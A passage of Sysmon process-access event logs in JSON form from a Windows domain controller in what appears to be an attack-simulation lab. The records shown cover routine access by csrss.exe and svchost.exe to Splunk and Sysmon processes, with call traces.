Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-0010C2F50400}","TargetProcessId":"4644","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2936,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2937,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2938,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2939,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2940,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2941,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2942,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2943,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 